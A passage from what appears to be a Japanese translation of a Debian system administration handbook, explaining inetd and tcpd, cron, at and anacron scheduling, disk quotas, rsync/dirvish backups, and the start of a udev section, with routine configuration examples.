- ソケットタイプ。このフィールドは TCP 接続の場合 stream、UDP データグラムの場合 dgram を指定します。
- プロトコル。このフィールドは tcp または udp を指定します。
- オプション。このフィールドに指定できる値は wait または nowait の 2 種類です。これらの値を使って、inetd に対して他の接続を受け入れる前に既に起動中のプロセスの終了を待つ (wait) か待たない (nowait) かを指定します。簡単に多重送信対応できる TCP 接続の場合、通常 nowait を使います。UDP を使って応答するプログラムに対しては、サーバが複数接続の並列化を管理する機能を持っている場合に限り nowait を使うべきです。この後にピリオドで区切りながら子プロセスの最大数、さらに 1 分間に認められる接続の最大数 (デフォルトの値は 256) を指定することが可能です。
- ユーザ名。サーバはこのユーザの権限で実行されます。
- 実行するサーバプログラムのフルパス。
- 引数。このフィールドはプログラムの引数の完全なリストを指定し、サーバプログラムの名前 (C 言語で言えば argv[0]) を含みます。

最も一般的な場合、以下の例のようになります。

例 9.1　/etc/inetd.conf からの抜粋

```
talk   dgram  udp wait    nobody.tty /usr/sbin/in.talkd in.talkd
finger stream tcp nowait  nobody     /usr/sbin/tcpd     in.fingerd
ident  stream tcp nowait  nobody     /usr/sbin/identd   identd -i
```

/etc/inetd.conf ファイルの中では tcpd プログラムを使うことが多いです。tcpd プログラムを使うと、アクセス制御ルールを適用して到着する接続を制限することが可能です。アクセス制御ルールは hosts_access(5) マニュアルページで説明されており、/etc/hosts.allow と /etc/hosts.deny ファイルの中で設定されます。tcpd は接続を確認し、認証が済んだら実際のサーバを実行します (以下の例では in.fingerd を実行しています)。tcpd はそれが実行された時の名前 (1 番目の引数 argv[0]) を頼りに実際に実行するプログラムを識別します。この点に注意してください。そのため、引数リストは tcpd で始めるのではなく、ラップされなければいけないプログラムの名前で始めるべきです。

COMMUNITY

Wietse Venema

Wietse Venema は tcpd プログラムの作者で、セキュリティ分野における専門知識によって名を挙げたプログラマです。彼はまた Postfix の主な創案者でもあります。Postfix はモジュール式電子メールサーバ (SMTP、Simple Mail Transfer Protocol) で、セキュリティ脆弱性の長い歴史を特徴付ける sendmail よりも安全で信頼性が高くなるように設計されました。

ALTERNATIVE

他の inetd コマンド

Debian はデフォルトで **openbsd-inetd** をインストールしますが、他にも数多くの代替品があります。たとえば **inetutils-inetd**、**micro-inetd**、**rlinetd**、**xinetd** などの代替品が存在します。

xinetd は大変興味深い機能を持っています。中でも注目すべきは、**xinetd** の設定を複数のファイル (これはもちろん /etc/xinetd.d/ ディレクトリの中に保存されています) に分割できるという点です。このおかげで、管理がもっと楽になります。

最後に重要なことですが、systemd のソケット有効化メカニズムを使えば、inetd の挙動をエミュレートすることも可能です (第 9.1.1 節「systemd init システム」183 ページを参照してください)。

9.7. cron と atd を使ったスケジューリングタスク

cron は定期的に (毎日、毎週など) 実行するよう予定されたコマンドの実行を担当しているデーモンです。また、atd は未来の特定の時間に 1 回だけ実行するよう予定されたコマンドの実行を担当しているデーモンです。

Unix システムでは、以下に挙げる多くのタスクが定期的に実行されるよう予定されています。

- ログの循環。
- locate プログラムの使うデータベースの更新。
- バックアップ。
- メンテナンススクリプト (これは一時ファイルの掃除を行うスクリプトなどを指します)。

デフォルトで、すべてのユーザはタスク実行の予定を入れることが可能です。各ユーザは自分専用の **crontab** を持っており、これを使ってコマンド実行の予定を登録することが可能です。**crontab** を編集するには `crontab -e` を実行します (**crontab** は `/var/spool/cron/crontabs/`**user** ファイルに保存されます)。

SECURITY

cron または atd の使用制限

実行を許可するユーザを明示するファイル (ホワイトリスト) `/etc/cron.allow` の中にコマンドの予定を入れることを許可するユーザを書けば、`cron` へのアクセスを制限することが可能です。その他のユーザは自動的にスケジューリングタスク機能を使えなくなります。反対に、実行を禁止するユーザを明示するファイル (ブラックリスト) `/etc/cron.deny` の中にユーザ名を書けば、1 人か 2 人の問題児だけをブロックすることが可能です。`atd` に対しても `/etc/at.allow` と `/etc/at.deny` ファイルを使って同等の機能が利用できます。

root ユーザは自分専用の **crontab** を持っていますが、`/etc/crontab` ファイルを使ったり、追加的な **crontab** ファイルを `/etc/cron.d` ディレクトリに置くことが可能です。最後の 2 つの解決策には、コマンドを実行するユーザを明示できるという利点があります。

デフォルトで **cron** パッケージには、いくつかのスケジュール済みコマンドが含まれています。

- `/etc/cron.hourly/` ディレクトリ内のプログラムは 1 時間に 1 回実行されます。
- `/etc/cron.daily/` ディレクトリ内のプログラムは 1 日に 1 回実行されます。
- `/etc/cron.weekly/` ディレクトリ内のプログラムは 1 週間に 1 回実行されます。
- `/etc/cron.monthly/` ディレクトリ内のプログラムは 1 カ月に 1 回実行されます。

多くの Debian パッケージは cron のサービスに頼っています。すなわち、メンテナンススクリプトをこれらのディレクトリに入れて、サービスの最適な動作を保証しています。

9.7.1. crontab ファイルの書式

TIP

cron のテキストショートカット

`cron` はいくつかの略語を認識します。略語は `crontab` エントリの最初の 5 つのフィールドを置き換えます。略語は最も古典的なスケジューリングオプションに対応します。

- `@yearly`。この略語は 1 年に 1 回 (1 月 1 日の 00:00) を意味しています。
- `@monthly`。この略語は 1 カ月に 1 回 (毎月 1 日の 00:00) を意味しています。
- `@weekly`。この略語は 1 週間に 1 回 (日曜日の 00:00) を意味しています。
- `@daily`。この略語は 1 日 1 回 (00:00) を意味しています。
- `@hourly`。この略語は 1 時間に 1 回 (毎時 0 分) を意味しています。

SPECIAL CASE

cron と夏時間

Debian では、`cron` は可能な限り正確に時刻変化 (夏時間、実質的にはローカル時間の大幅な変更) に追従します。このため、決して存在しない 1 時間内に実行されるべきコマンド (たとえば、フランスで夏時間開始日の午前 2:30 に予定されているタスクです。夏時間に切り替わると標準時の午前 2:00 は夏時間の午後 3:00 になります) は時刻が変わった後すぐに実行されます (つまり夏時間で午前 3:00 頃に実行されます)。一方で、夏時間終了日に複数回実行されると思われるコマンド (夏時間の午前 2:30 とその 1 時間後の標準時の午前 2:30 に予定されているコマンド。標準時に戻ると夏時間の午前 3:00 は標準時の午前 2:00 になります) は 1 回だけ実行されます。

しかしながら気を付けてください、別にスケジュールされたタスクとの順番とそれぞれのタスク実行間の遅延が重要な問題の場合、それらの制約の互換性と cron の挙動を照合するべきです。必要ならば、夏時間開始日と夏時間終了日の夜専用の特別なスケジュールを用意することも可能です。

crontab の有効な各行は以下の 6 つ (または 7 つ) のフィールドを含むスケジュールされたコマンド表します。

- 分 (0 から 59 までの数字を指定します)。
- 時間 (0 から 23 までの数字を指定します)。
- 月の日付 (1 から 31 までの数字を指定します)。
- 月 (1 から 12 までの数字を指定します)。
- 曜日 (0 から 7 までの数字、月曜日は 1、日曜日は 0 と 7 の両方、さらに英語で書いた曜日の最初の 3 文字 Sun、Mon などを使うことも可能です)。
- コマンドを実行するユーザ名 (/etc/crontab ファイルと /etc/cron.d/ にある分割されたファイルでは必要ですが、各ユーザ専用のファイルでは不要です)。
- 実行するコマンド (最初の 5 つのフィールドで定義された条件が満足されたら実行します)。

すべての詳細は crontab(5) man ページに書かれています。

各値は設定できる値の (コンマ区切り) リストの形で表現することが可能です。a-b 構文は a と b の間にあるすべての値を表現します。a-b/c 構文は a から c ずつ増加させて b までのすべての値を表現します (たとえば 0-10/2 は 0,2,4,6,8,10 を意味します)。アスタリスク * はワイルドカードで、とり得るすべての値を意味します。

例 9.2　単純な crontab ファイル

```
#フォーマット
#分  時  日付  月  曜日   コマンド

# 毎日深夜午前 7 時 25 分にデータをダウンロード
 25   19    *    *    *     $HOME/bin/get.pl

# 平日（月曜日から金曜日）午前 8 時 0 分
 00   08    *    *    1-5   $HOME/bin/dosomething

# 起動直後に IRC プロキシを再始動
@reboot /usr/bin/dircproxy
```

TIP

起動時にコマンドを実行

コンピュータを起動した後に毎回コマンドを実行するためには、@reboot マクロを使ってください (cron を単純に再起動しただけでは @reboot でスケジュールされたコマンドは実行されません)。@reboot マクロを使うには **crontab** 内の最初の 5 つのフィールドを @reboot で置換してください。

ALTERNATIVE **systemd を使った cron のエミュレート**	systemd のタイマメカニズムを使えば cron の挙動の一部をエミュレートすることが可能です (第 9.1.1 節「systemd init システム」183 ページを参照してください)。

9.7.2. at コマンドの利用

at は未来の特定の時点にコマンドを実行します。at は時刻と日付をコマンドラインパラメータで受け取り、実行するコマンドを標準入力で受け取ります。at を使って実行予約を登録したコマンドはあたかも at を実行した現在のシェルで実行されたかのように実行されます。at はコマンドを実行する際に現在と同じ状況を再現するために、現在の環境を保存するように気を付けます。時刻は以下のように普通の慣例に従って表現されます。すなわち 16:12 または 4:12pm は午後 4 時 12 分を意味します。日付はヨーロッパと西洋で使われるいくつかの書式で指定します。DD.MM.YY (27.07.15 は 2015 年 7 月 27 日を意味します)、YYYY-MM-DD (2015-07-27 は上と同じ日付を意味します)、MM/DD/[CC]YY (12/25/15 や 12/25/2015 は 2015 年 12 月 25 日を意味します)、または単純な MMDD[CC]YY (122515 や 12252015 は同様に 2015 年 12 月 25 日を意味します) などです。日付の指定がなければ、コマンドは最も早く到達した指定時刻に実行されます (当日、または指定時刻が既に過ぎていれば明日に実行されます)。読んで字の通り「today」(今日)、「tomorrow」(明日) などと簡単に書くことも可能です。

```
$ at 09:00 27.07.15 <<END
> echo "Don't forget to wish a Happy Birthday to Raphaël!" \
>   | mail lolando@debian.org
> END
warning: commands will be executed using /bin/sh
job 31 at Mon Jul 27 09:00:00 2015
```

与えられた期間だけ実行を先延ばしにする構文もあります。たとえば at now + **number period** です。**period** には minutes、hours、days、weeks を指定することが可能です。**number** は単純に **period** で指定した単位の量を表し、この量だけコマンドの実行が先延ばしされます。

cron でスケジュールされたタスクを中止するには、単純に crontab -e を実行し、**crontab** ファイルから対応する行を削除してください。at タスクの場合、削除はとても簡単です。すなわち atrm **task-number** を実行してください。タスク番号は at コマンドで予定を登録した際に表示されたものです。もう一度確認するには atq コマンドを実行してください。これはスケジュールされたタスクの現在のリストを表示します。

9.8. 非同期タスクのスケジューリング、anacron

anacron はデーモンで、常に起動されていないコンピュータの cron を完成させるものです。定期的なタスクは通常真夜中に予定されているため、その時間にコンピュータの電源が切れていればタスクは決して実行されません。anacron の目的は、コンピュータの電源が切れている期間を考慮して、その期間中に予定されていたタスクを実行することです。

anacron は通常そのようなタスクをマシンの起動数分後に実行します。このことにより、コンピュータの反応が遅くなります。このため、/etc/anacrontab ファイルに載せられたタスクは nice コマンドと一緒に開始されます。こうすることで、タスクの優先度を低くして実行できるので、システムの残りの部分に対する影

響を減らすことが可能です。/etc/anacrontab ファイルの書式は /etc/crontab と異なる点に注意してください。さらに anacron を使う特別な理由がある場合、anacrontab(5) マニュアルページをご覧ください。

BACK TO BASICS

実行優先度と nice

Unix システム (および Linux) はマルチタスクのマルチユーザシステムです。実際、複数のプロセスは並行して実行され別のユーザに所有されます。そして、カーネルは異なるプロセス間でリソースへのアクセスを仲介します。このタスクの一部として、カーネルは実行優先度という概念を持ちます。実行優先度に基づき、カーネルは必要に応じてあるプロセスを特別扱いします。あるプログラムを低い優先度で実行しても構わないと分かっている場合、そのプログラムに低い優先度を与えて実行を開始するには nice **program** を使います。nice を使って実行を開始されたプログラムは CPU への負担を低く設定され、他の実行中プロセスに対する影響を低く抑えられるでしょう。もちろん、他に実行中のプロセスがない場合、このプログラムの実行は妨げられません。

nice は「niceness」と呼ばれる優先度と連動します。ここで正の優先度 (1 から 19) は低い優先度、これに対して、負の優先度 (-1 から -20) は高い優先度を意味します。負の (高い) 優先度を使えるのは root だけです。「niceness」を与えなければ (nice(1) マニュアルページを参照してください)、nice は現在の優先度を正方向に 10 だけ増加します (優先度を下げます)。

既に実行中のタスクの中に nice で開始するべきプロセスを発見した場合、今からでも優先度を修正することが可能です。renice コマンドは実行中のプロセスの優先度を変更します。優先度を低くすることも高くすることも可能です (ただし、「niceness」を減らす (優先度を高くする) ことができるのは root だけです)。

anacron パッケージをインストールすることにより、cron は /etc/cron.hourly/、/etc/cron.daily/、/etc/cron.weekly/、/etc/cron.monthly/ ディレクトリに含まれるスクリプトを実行しなくなります。これは anacron と cron がスクリプトを二重に実行することを避けるためです。cron コマンドはまだ有効で、他のスケジュールされたタスク (特にユーザがスケジュールしたタスク) を取り扱うことが可能です。

9.9. クォータ

クォータシステムを使うことで、ユーザまたはユーザグループに割り当てられたディスク領域を制限することが可能です。クォータを設定するには、クォータをサポートする (CONFIG_QUOTA オプションを有効化してコンパイルされた) カーネルを使わなければいけません。Debian カーネルはクォータをサポートしています。クォータ管理ソフトウェアは **quota** Debian パッケージに含まれています。

あるファイルシステムでクォータを有効化するには、/etc/fstab の中で usrquota (ユーザ用クォータ) および grpquota (グループ用クォータ) オプションを指定します。この後コンピュータを再起動すると、ディスク活動のない時にクォータが更新されます (これは使用済みディスク領域を適切に計量する必要条件です)。

edquota **user** (または edquota -g **group**) コマンドを使うと、現在のディスク領域使用量を検査している最中に、制限を変更することが可能です。

GOING FURTHER

スクリプトを使ったクォータの定義

setquota プログラムを使うことで、スクリプトの中で自動的に多くのクォータを変更することが可能です。構文の使い方は setquota(8) マニュアルページをご覧ください。

クォータシステムを使うと以下の 4 種類の制限を設定することが可能です。

- 消費ブロック数に対する 2 種類の制限 (「ソフト」と「ハード」と呼ばれます)。もしファイルシステムが 1 キロバイトのブロックサイズで作られた場合、1 ブロックには、あるファイルの 1024 バイ

ト分を入れることが可能です。飽和していないブロックがあると、ディスク領域の損失が生じます。100 ブロックのクォータは理論的には 102,400 バイトを保存できることを意味しますが、500 バイトのファイル 100 個 (合計 50,000 バイト) で上限に達することになります。

- i ノード数に対する 2 種類の制限 (ソフトとハード)。各ファイルはファイルの情報 (パーミッション、所有者、最後にアクセスされた時間など) を保存するために少なくとも 1 つの i ノードを専有します。この性質を使うことで、ユーザファイルの数を制限することが可能です。

「ソフト」リミットは一時的に超過できます。しかし、ユーザは warnquota コマンドからクォータを超過していることに対して簡単な警告を受けます。warnquota コマンドは通常 cron コマンドによって呼び出されます。「ハード」リミットは決して超過できません。すなわち、システムはハードクォータを超過するような操作をすべて拒否します。

VOCABULARY

ブロックと i ノード

ファイルシステムはハードドライブをブロック (小さく連続した領域) に分割します。ブロックのサイズはファイルシステムの作成時に定義され、一般的に 1 から 8 キロバイトまでの範囲を取ります。

ブロックはファイルの実データまたはファイルシステムが使うメタデータのどちらか一方を保存するために使われます。メタデータの中でも特に、i ノードについて説明します。1 つの i ノードはハードドライブ上の 1 ブロックを使い (i ノードを保存するブロックはブロッククォータに考慮されず、i ノードクォータだけに考慮されます)、その i ノードに対応するファイルの情報 (名前、所有者、パーミッションなど) と実際に使われるデータブロックへのポインタ情報の両方を含みます。単一の i ノードで対応できないくらい多くのブロックを専有するとても大きなファイルのために、間接ブロックシステムがあります。この場合の i ノードは、実データではなく別のブロックのリストを保存しているブロックのリストを参照します。

edquota -t コマンドを使えば、ソフトリミットの超過を許す「猶予期間」の最長値を定義することが可能です。この期間の後、ソフトリミットはハードリミットと同様に扱われます。ユーザがハードドライブに何かを書き込むには、ディスク領域の使用量を減らしてクォータの制限内に収めなければいけません。

GOING FURTHER

新規ユーザのデフォルトクォータを設定する

新規ユーザ向けにクォータを自動設定するには、(edquota または setquota を使って) テンプレートユーザに対してクォータを設定し、/etc/adduser.conf ファイルの QUOTAUSER 変数にテンプレートユーザの名前をいれなければいけません。この後 adduser コマンドを使って新規ユーザを作成すれば、テンプレートユーザと同じクォータ設定が自動的に適用されます。

9.10. バックアップ

バックアップを取ることは管理者の主要な責任の 1 つです。しかし、これは通常極めるのが難しい強力なツールを使う複雑な問題です。

バックアップ作業に関して言えば amanda、bacula、BackupPC などの多くのプログラムが存在します。これらは多くの機能を備えるクライアント/サーバシステムで、その設定はかなり難しいです。いくつかのプログラムは難しさを和らげるためのユーザフレンドリーなウェブインターフェースを提供しています。しかし Debian には、すべての考え得る使用事例に対応できる、他の数多くのバックアップソフトウェアが含まれています。ソフトウェアを確認するには apt-cache search backup を使ってください。

この節ではプログラムの使い方を詳細に説明するのではなく、Falcot Corp の管理者がバックアップ戦略を定義する際にどのように考えたかを説明します。

Falcot Corp では、バックアップには 2 つの目標があります。具体的に言えば、誤って削除したファイルを回復することと、ハードドライブに障害が起きた際にコンピュータ (サーバおよびデスクトップ) を素早く復元することです。

9.10.1. rsync を使ったバックアップ

テープへのバックアップは遅くて費用がかかりすぎるとみなされ、データは専用サーバのハードドライブにバックアップされることになりました。専用サーバはソフトウェア RAID (第 12.1.1 節「ソフトウェア RAID」302 ページを参照してください) を使ってデータをハードウェア障害から守っています。デスクトップコンピュータは個別にバックアップされませんが、ユーザは部署のファイルサーバの個人アカウントはバックアップされると知らされています。毎日異なるサーバにバックアップを行う目的で、rsync コマンド (同名のパッケージに含まれます) が使われています。

BACK TO BASICS

ハードリンク、ファイルの別名

ハードリンクはシンボリックリンクと異なり、リンクされたファイルと区別できません。本質的に、ハードリンクの作成は既存のファイルに別名を与えることと同義です。そのため、ハードリンクの削除はそのファイルに関連する名前を削除するに過ぎません。他の名前がまだそのファイルに関連付けられている場合、データの実体はファイルシステムから削除されません。コピーと異なり、ハードリンクはハードドライブ上に追加的な領域を必要としない点について注意することは興味深いです。

ハードリンクは `ln` **target link** コマンドで作成されます。ここで **link** ファイルは **target** ファイルの新しい名前です。ハードリンクは **target** と **link** が同じファイルシステム上にある場合に限り作成できます。対してシンボリックリンクはこの制限を受けません。

利用できるハードドライブの空き領域によっては、完全な日次バックアップができない場合があります。このため、まず rsync コマンドは今回のバックアップの内容を前回のバックアップの内容へのハードリンクの形で複製します。このおかげで、ハードドライブ領域を無駄に消費することがなくなります。そして rsync プロセスは前回のバックアップ以降に変更されたファイルだけを置き換えていきます。このメカニズムにより、多くのバックアップを少ない領域に保存することが可能です。すべてのバックアップは即座に利用できる上に即座にアクセスできるので (たとえば、ネットワーク共有されたディレクトリの中に置かれるので)、ある日付同士の違いを素早く比較できます。

dirvish プログラムを使えば、このバックアップメカニズムを簡単に実現できます。dirvish プログラムはバックアップストレージ領域 (dirvish 用語で「bank」) を使い、「bank」の中に一連のバックアップファイルのタイムスタンプを付けたコピー (dirvish の文書ではこれらを「vault」と呼びます) を置きます。

主要な設定は /etc/dirvish/master.conf ファイルに書かれています。/etc/dirvish/master.conf ファイルでは、バックアップストレージ領域の場所、管理する「vault」のリスト、バックアップの保存期限のデフォルト値を定義します。残りの設定、すなわち **vault** でバックアップするファイルセットに固有の設定は **bank**/**vault**/dirvish/default.conf ファイルに書かれています。

例 9.3　/etc/dirvish/master.conf ファイル

```
bank:
    /backup
exclude:
    lost+found/
```

```
    core
    *~
Runall:
    root    22:00
expire-default: +15 days
expire-rule:
#   分  時    日  月         曜日 保存期限
    *   *     *   *          1    +3 months
    *   *     1-7 *          1    +1 year
    *   *     1-7 1,4,7,10   1
```

bank 設定はバックアップが保存されるディレクトリを表します。exclude 設定を使うと、バックアップからファイル (またはファイルタイプ) を除外することが可能です。Runall はタイムスタンプを付けてバックアップするファイルセットのリストです。これにより、万が一割り当てられた時間に正確にバックアップが実行されない場合でも、バックアップコピーに正確な時刻を割り当てることが可能です。ここで指定する時刻は実際の実行時刻の直前の時刻でなければいけません (/etc/cron.d/dirvish によれば、Debian では実際の実行時間はデフォルトで午後 10 時 4 分です)。最後に expire-default と expire-rule 設定でバックアップ保存期限ポリシーを定義します。上の例は、各四半期の最初の日曜日に作成されたバックアップを永久に保存し、それに当てはまらない各月の最初の日曜日に作成されたバックアップを 1 年経過後に削除し、それに当てはまらない日曜日に作成されたバックアップを 3 カ月経過後に削除します。その他の日次バックアップは 15 日間保存されます。ルールが適用される順番が問題です。Dirvish は最後にマッチしたルールを使い、expire-rule にマッチするものがなければ expire-default を使います。

IN PRACTICE

削除スケジュール

削除を担当している dirvish-expire は削除ルールを使いません。削除ルールが適用されるのは新しいバックアップコピーの作成時であり、バックアップコピーを削除する日付が削除ルールによって定義されます。dirvish-expire は保存されたコピーを単純に調べて、期限の過ぎているコピーを削除します。

例 9.4　/backup/root/dirvish/default.conf ファイル

```
client: rivendell.falcot.com
tree: /
xdev: 1
index: gzip
image-default: %Y%m%d
exclude:
    /var/cache/apt/archives/*.deb
    /var/cache/man/**
    /tmp/**
    /var/tmp/**
    *.bak
```

上の例では、バックアップするファイルセットを指定しています。具体的に言えば、バックアップ対象は **rivendell.falcot.com** マシン (ローカルデータをバックアップするには、単純に hostname の出力するローカ

ルマシンの名前を指定します) にあるルートツリーの内容 (tree: /) から exclude で指定したものを除外したファイルです。さらに、バックアップ対象は tree と同一のファイルシステムの内容 (xdev: 1) に制限されます。他のマウントポイントのファイルはバックアップされません。保存されたファイルのインデックス (index: gzip) が生成され、イメージには現在の日付に関連する名前 (image-default: %Y%m%d) が付けられます。

多くのオプションがあり、すべては dirvish.conf(5) マニュアルページに書かれています。一度これらの設定ファイルを作ったら、dirvish --vault **vault** --init コマンドを使って、各ファイルセットを初期化します。ここまでが済むと、毎日の dirvish-runall 実行時に期限切れになったバックアップコピーが削除され、その直後に自動的に新しいバックアップコピーが作成されます。

IN PRACTICE

SSH を使ったリモートバックアップ

dirvish はリモートマシンにデータをバックアップする場合、ssh を使ってリモートマシンに接続し、rsync をサーバとして開始します。この場合、root ユーザとして自動的にリモートマシンに接続できなければいけません。これを実現するには、SSH 認証鍵を使ってください (第 9.2.1.1 節「鍵認証方式」192 ページを参照してください)。

9.10.2. バックアップなしのマシンの復元

バックアップされていないデスクトップコンピュータに対しては **Simple-CDD** でカスタマイズされた DVD-ROM からシステムを再インストールするのが簡単でしょう (第 12.3.3 節「Simple-CDD、一体型の解決策」343 ページを参照してください)。インストールを最初からやり直すので、初回インストール後に行われたすべての設定は失われます。これは問題ではありません。なぜなら、アカウントに関して言えばシステムはすべて中央 LDAP ディレクトリの情報を参照しており、多くのデスクトップアプリケーションに関して言えば dconf のおかげで事前設定されているからです (詳しい情報は第 13.3.1 節「GNOME」359 ページを参照してください)。

Falcot Corp の管理者は自分たちのバックアップポリシーの限界を理解しています。テープを耐火金庫に入れるかのようにバックアップサーバを保護することができないため、管理者はバックアップサーバを他のサーバと別の部屋に設置しました。そうすればサーバルームの火事などの災害が起きてもその他のサーバと一緒にバックアップも破壊されることを避けられるからです。さらに、管理者は 1 週間に 1 回 DVD-ROM に増分バックアップ (最後のバックアップ以降に修正されたファイルだけのバックアップ) をとるようにしています。

GOING FURTHER

SQL と LDAP サービスのバックアップ

多くのサービス (SQL や LDAP データベースなど) は単純にファイルをコピーするだけではバックアップできません (それらのサービスをバックアップの作成中に適切に中断しない限りバックアップできません。サービスの中断は通常問題です。なぜなら、サービスが常に利用できることを意図されているからです)。そのような場合、安全にバックアップできる「データダンプ」を作るために「エクスポート」メカニズムを使うことが必要です。データダンプは通常サイズのとても大きいファイルですが、データダンプのサイズは圧縮によってかなり小さくなります。要求されるストレージ領域を減らすために、完全なテキストファイルを保存するのを 1 週間に 1 回、diff を保存するのを毎日に制限しています。差分は diff **file_from_yesterday file_from_today** で生成されます。バイナリダンプから増分差分を作成するには xdelta プログラムを使ってください。

CULTURE

TAR、テープバックアップ用の標準規格

歴史的に言って、Unix で最も簡単にバックアップを作成する手段は **TAR** アーカイブをテープに保存する方法でした。tar コマンドは「Tape ARchive」から命名されています。

9.11. ホットプラグ機能、hotplug

9.11.1. 前書き

hotplug カーネルサブシステムはデバイスの追加と削除を、udevd の助けを借りて適切なドライバを読み込んだり関連するデバイスファイルを作成することで、動的に取り扱います。現代的なハードウェアと仮想化を使えば、ほとんどすべてのデバイスはホットプラグ対応と言ってよいでしょう。具体的に言えば、USB/PCMCIA/IEEE 1394 周辺機器から SATA ハードドライブ、さらには CPU やメモリにいたるまでのほとんどすべてがホットプラグに対応しています。

カーネルは必要なドライバとデバイス ID を関連付けるデータベースを持っています。このデータベースは起動中にさまざまなバスで検出された周辺機器用のすべてのドライバを読み込んだりする際、追加的なホットプラグデバイスが接続された際に使われます。デバイスの使用準備が整ったら、メッセージが udevd に送信され、udevd は対応するエントリを /dev/ 内に作成します。

9.11.2. 命名問題

ホットプラグ接続の出現前、デバイスに固定された名前を割り当てることは簡単でした。名前は単純にデバイスが接続されたバスの位置を基にしていました。しかしこのやり方はデバイスが接続されるバスの位置が決まっていない場合に問題となります。典型的な例は、コンピュータがディスクドライブとして認識するデジタルカメラや USB メモリを使う場合です。最初に接続されたデバイスは /dev/sdb、2 番目に接続されたデバイスは /dev/sdc と名付けられるかもしれません (/dev/sda はコンピュータのハードドライブを表します)。デバイスに対するデバイス名は固定されませんし、デバイス名はデバイスが接続された順番に依存します。

さらに、デバイスのメジャー/マイナー番号に動的な値を使うドライバが増えています。動的なメジャー/マイナー番号を使うことで、あるデバイスに対する静的なエントリを持つことが不可能になります。なぜなら、これらのエントリは再起動の後に変化するかもしれないからです。

udev はまさにこの問題を解決するために作られました。

IN PRACTICE

ネットワークカード管理

多くのコンピュータは複数のネットワークカードを持っています (2 つの有線インターフェースと 1 つの wifi インターフェース)。そして **hotplug** は多くのバスタイプをサポートするので Linux カーネルがネットワークインターフェースに対して割り当てる名前は流動的なものになります。しかしながら、/etc/network/interfaces の中でネットワークを設定する場合、ネットワークインターフェースの名前を固定する必要があります!

この問題を解決する目的で、各ユーザに自分の **udev** ルールを作るようにお願いするのは難しいでしょう。そのため **udev** は比較的独特なやり方で設定されました。つまり、最初の起動時に (より一般的に言えば、新しいネットワークカードが初めて見つかった時に)、**udev** はネットワークインターフェースの名前と MAC アドレスを基にして、2 度目の起動から同じ名前を割り当てられるような新しいルールを作ります。これらのルールは /etc/udev/rules.d/70-persistent-net.rules に保存されています。

このメカニズムにはいくつかの副作用がありますので、それについて知っておくべきです。コンピュータが PCI ネットワークカードを 1 つだけ持っている場合について考えましょう。

このネットワークインターフェースは必然的に eth0 と名付けられます。このカードが壊れて、管理者がそれを交換したとしましょう。しかし、新しいカードは古いカードと異なる MAC アドレスを持っています。古いカードには eth0 という名前が割り当てられていたため、eth0 カードが完全に消え去っているにも関わらず、新しいカードには eth1 という名前が割り当てられます (ネットワークは機能しません。なぜなら、/etc/network/interfaces で eth0 インターフェースを設定しているからです)。この場合、コンピュータの再起動前に単純に /etc/udev/rules.d/70-persistent-net.rules ファイルを削除すれば十分です。新しいカードはおそらく eth0 という名前を与えられるでしょう。

9.11.3. udev の動作原理

udev は新しいデバイスの出現についてカーネルから通知を受けると、/sys/ 内の対応するエントリを調べて、与えられたデバイスに関するさまざまな情報 (特にデバイスを一意に識別する情報 (ネットワークカードの MAC アドレス、USB デバイスのシリアル番号など)) を収集します。

この情報を武器にして、**udev** は /etc/udev/rules.d/ と /lib/udev/rules.d/ に含まれるすべてのルールを調査します。この過程で **udev** はデバイスに割り当てる名前、作成するシンボリックリンクの名前 (シンボリックリンクはデバイスに別名を与えるために作成されます)、実行するコマンドを決定します。上記ディレクトリに含まれるすべてのファイルが調査され、すべてのルールが順番に評価されます (「GOTO」指示文を使う場合を除きます)。そのため、与えられたイベントに対応する複数のルールがあるかもしれません。

ルールの構文はとても単純です。つまり各行には、選択基準と変数代入命令が含まれます。選択基準は反応を必要とするイベントを選ぶのに使われ、変数代入命令はイベントに対して行う動作を定義します。選択基準と変数代入命令は単純にコンマで区切られており、演算子を使って選択基準 (== または != などの比較演算子を付ける) と変数代入命令 (=、+=、:= などの演算子を付ける) を暗黙のうちに区別します。

比較演算子は以下の変数に使われます。

- KERNEL。カーネルがデバイスに割り当てた名前を意味します。
- ACTION。イベントに対する動作を意味します (デバイスが追加されたら「add」で、デバイスが取り外されたら「remove」です)。
- DEVPATH。デバイスの /sys/ エントリのパスを意味します。
- SUBSYSTEM。要求を生成したカーネルサブシステムを意味します (たくさんの種類がありますが、「usb」、「ide」、「net」、「firmware」などがその例です)。
- ATTR{**attribute**}。デバイスの /sys/**$devpath**/ ディレクトリ内の **attribute** ファイルの内容を意味します。これで MAC アドレスやその他のバス固有識別子がわかります。
- KERNELS、SUBSYSTEMS、ATTRS{**attributes**}。対象のデバイスの親デバイスの 1 つに対するさまざまなオプションに対して一致を検査します。
- PROGRAM。指定されたプログラムを使ってテストを実行することを意味します (プログラムが 0 を返したら真、それ以外を返したら偽になります)。プログラムの標準出力の内容は保存され、RESULT テストによって再利用されます。
- RESULT。PROGRAM が最後に呼び出された時に保存された標準出力に対してテストを実行することを意味します。

演算子の右側引数には、複数の値に同時にマッチするようなパターン式を使うことが可能です。たとえば、* は任意の文字列に (空文字列にも) マッチします。そして ? は任意の文字にマッチし、[] は角括弧の間にリストされた文字セットにマッチします (最初の文字が ! の場合は、その否定にマッチします。また、文字の連続範囲は a-z のように表記します)。

代入演算子に関して、= は値を代入します (そして現在の値を入れ替えます)。さらに、リストに代入する場合、リストを空にした後、割り当てた値だけを代入します。:= は同じことをしますが、後から値を変更できなくなります。+= はリストにアイテムを追加します。代入演算子を使って変更できる変数は以下です。

- NAME。/dev/ 内に作成するデバイスファイル名を意味します。最初に代入された値だけが考慮され、他は無視されます。
- SYMLINK。同じデバイスを指すシンボリックリンクのリストです。
- OWNER、GROUP、MODE。デバイスを所有するユーザとグループおよびパーミッションを定義します。
- RUN。イベントに応答する際に実行するプログラムのリストを意味します。

これらの変数に割り当てる値の中で、以下の置換変数を使うことが可能な場合があります。

- $kernel または %k。KERNEL と同じ値です。
- $number または %n。デバイスの割り当て番号を意味します。たとえば、sda3 の場合「3」です。
- $devpath または %p。DEVPATH と同じ値です。
- $attr{**attribute**} または %s{**attribute**}。ATTRS{**attribute**} と同じ値です。
- $major または %M。デバイスのカーネルメジャー番号を意味します。
- $minor または %m。デバイスのカーネルマイナー番号を意味します。
- $result または %c。PROGRAM によって起動された最後のプログラムの出力文字列を意味します。
- そして最後に、%% と $$。それぞれパーセントとドル記号を意味します。

上のリストは完全なものではありません (最も重要なパラメータの抜粋です)。完全なリストは udev(7) マニュアルページをご覧ください。

9.11.4. 具体例

